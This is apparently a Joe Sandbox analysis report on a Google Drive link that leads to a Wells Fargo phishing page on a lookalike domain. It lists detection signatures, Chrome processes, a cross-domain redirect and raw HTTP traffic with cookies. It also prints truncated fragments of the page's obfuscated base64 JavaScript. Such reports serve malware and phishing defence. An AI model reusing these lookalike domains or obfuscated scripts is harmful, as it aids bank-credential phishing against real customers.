Edit tour

Windows Analysis Report
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b

Overview

General Information

Sample URL:	https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b
Analysis ID:	1556045
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detected suspicious crossdomain redirect

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3244 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2024,i,89041353937913942,10148177902654857106,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?ts=67364a0b

Joe Sandbox AI: Score: 7 Reasons: The brand 'Wells Fargo' is a well-known financial institution., The URL 'drive.google.com' is associated with Google, not Wells Fargo., There is no direct association between Wells Fargo and the domain 'drive.google.com'., The input fields labeled as 'u, n, k, n, o, w, n' do not provide clear context or association with Wells Fargo services., The use of a Google domain for a Wells Fargo brand is suspicious and indicative of a potential phishing attempt. DOM: 2.5.pages.csv

Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/

HTTP Parser: Base64 decoded: function _0x5f48(_0x2c5e02,_0xe19f15){var _0x1b34d0=_0x1b34();return _0x5f48=function(_0x5f482d,_0x502389){_0x5f482d=_0x5f482d-0x143;var _0x72c7d7=_0x1b34d0[_0x5f482d];return _0x72c7d7;},_0x5f48(_0x2c5e02,_0xe19f15);}(function(_0x471b0b,_0x52b3dd){var _0x...

Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWY0OChfMHgyYzVlMDIsXzB4ZTE5ZjE1KXt2YXIgXzB4MWIzNGQwPV8weDFiMzQoKTtyZXR1cm4gXzB4NWY0OD1mdW5jdGlvbihfMHg1ZjQ4MmQsXzB4NTAyMzg5KXtfMHg1ZjQ4MmQ9XzB4NWY0ODJkLTB4MTQzO3ZhciBfMHg3MmM3ZDc9XzB4MWIzNGQwW18weDVmNDgyZF
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDNmZDY5MD1fMHg0Y2VkOyhmdW5jdGlvbihfMHg4ZTVlOTgsXzB4NGFhOTEwKXt2YXIgXzB4MmJjNjY1PV8weDRjZWQsXzB4NDMwNGQ4PV8weDhlNWU5OCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4MzA1MjJhPS1wYXJzZUludChfMHgyYmM2NjUoMHgzZDcpKS8weDErcGFyc2VJbn
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDVkM2JjYj1fMHgyZmZlOyhmdW5jdGlvbihfMHgyMzhlYmEsXzB4M2Q4NzJhKXt2YXIgXzB4MTZlNGQ3PV8weDJmZmUsXzB4MzdiMzJjPV8weDIzOGViYSgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4M2YxYmFkPS1wYXJzZUludChfMHgxNmU0ZDcoMHgxMTMpKS8weDErLXBhcnNlSW
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4OTdjOChfMHgxNTEwOWIsXzB4MjYyNmRlKXtjb25zdCBfMHg1NDdlMDc9XzB4NTQ3ZSgpO3JldHVybiBfMHg5N2M4PWZ1bmN0aW9uKF8weDk3YzhmMSxfMHgyNjU4N2Epe18weDk3YzhmMT1fMHg5N2M4ZjEtMHgxN2M7bGV0IF8weDNhYjRlMj1fMHg1NDdlMDdbXzB4OTdjOG
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWY0OChfMHgyYzVlMDIsXzB4ZTE5ZjE1KXt2YXIgXzB4MWIzNGQwPV8weDFiMzQoKTtyZXR1cm4gXzB4NWY0OD1mdW5jdGlvbihfMHg1ZjQ4MmQsXzB4NTAyMzg5KXtfMHg1ZjQ4MmQ9XzB4NWY0ODJkLTB4MTQzO3ZhciBfMHg3MmM3ZDc9XzB4MWIzNGQwW18weDVmNDgyZF
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDNmZDY5MD1fMHg0Y2VkOyhmdW5jdGlvbihfMHg4ZTVlOTgsXzB4NGFhOTEwKXt2YXIgXzB4MmJjNjY1PV8weDRjZWQsXzB4NDMwNGQ4PV8weDhlNWU5OCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4MzA1MjJhPS1wYXJzZUludChfMHgyYmM2NjUoMHgzZDcpKS8weDErcGFyc2VJbn
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDVkM2JjYj1fMHgyZmZlOyhmdW5jdGlvbihfMHgyMzhlYmEsXzB4M2Q4NzJhKXt2YXIgXzB4MTZlNGQ3PV8weDJmZmUsXzB4MzdiMzJjPV8weDIzOGViYSgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4M2YxYmFkPS1wYXJzZUludChfMHgxNmU0ZDcoMHgxMTMpKS8weDErLXBhcnNlSW
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4OTdjOChfMHgxNTEwOWIsXzB4MjYyNmRlKXtjb25zdCBfMHg1NDdlMDc9XzB4NTQ3ZSgpO3JldHVybiBfMHg5N2M4PWZ1bmN0aW9uKF8weDk3YzhmMSxfMHgyNjU4N2Epe18weDk3YzhmMT1fMHg5N2M4ZjEtMHgxN2M7bGV0IF8weDNhYjRlMj1fMHg1NDdlMDdbXzB4OTdjOG

Source: https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?ts=67364a0b	HTTP Parser: No favicon
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: No favicon
Source: https://online.secure.access.wellsfarqoadvlsor.com/secure/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49837 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: online.secure.access.wellsfarqoadvlsor.com to https://connect.secure.access.wellsfargoadvlsor.com/mettxcke

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /drive-viewer/AKGpihbu9JoX6HaPrSMhBjFMLlZqRoFGZIaMUlsIMCO_03LfvFbYFcvPKtHamXrT0qSn9KwliGhO-lqulI9xOWwCqbJNtxwQGEexRO4=s1600-rw-v1 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
Source: global traffic	HTTP traffic detected: GET /drive-viewer/AKGpihbu9JoX6HaPrSMhBjFMLlZqRoFGZIaMUlsIMCO_03LfvFbYFcvPKtHamXrT0qSn9KwliGhO-lqulI9xOWwCqbJNtxwQGEexRO4=s1600-rw-v1 HTTP/1.1Host: drive.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /auth_warmup HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
Source: global traffic	HTTP traffic detected: GET /drivesharing/clientmodel?id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/meta?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/meta?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0 HTTP/1.1Host: drive.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/img?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/presspage?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/presspage?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0 HTTP/1.1Host: drive.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 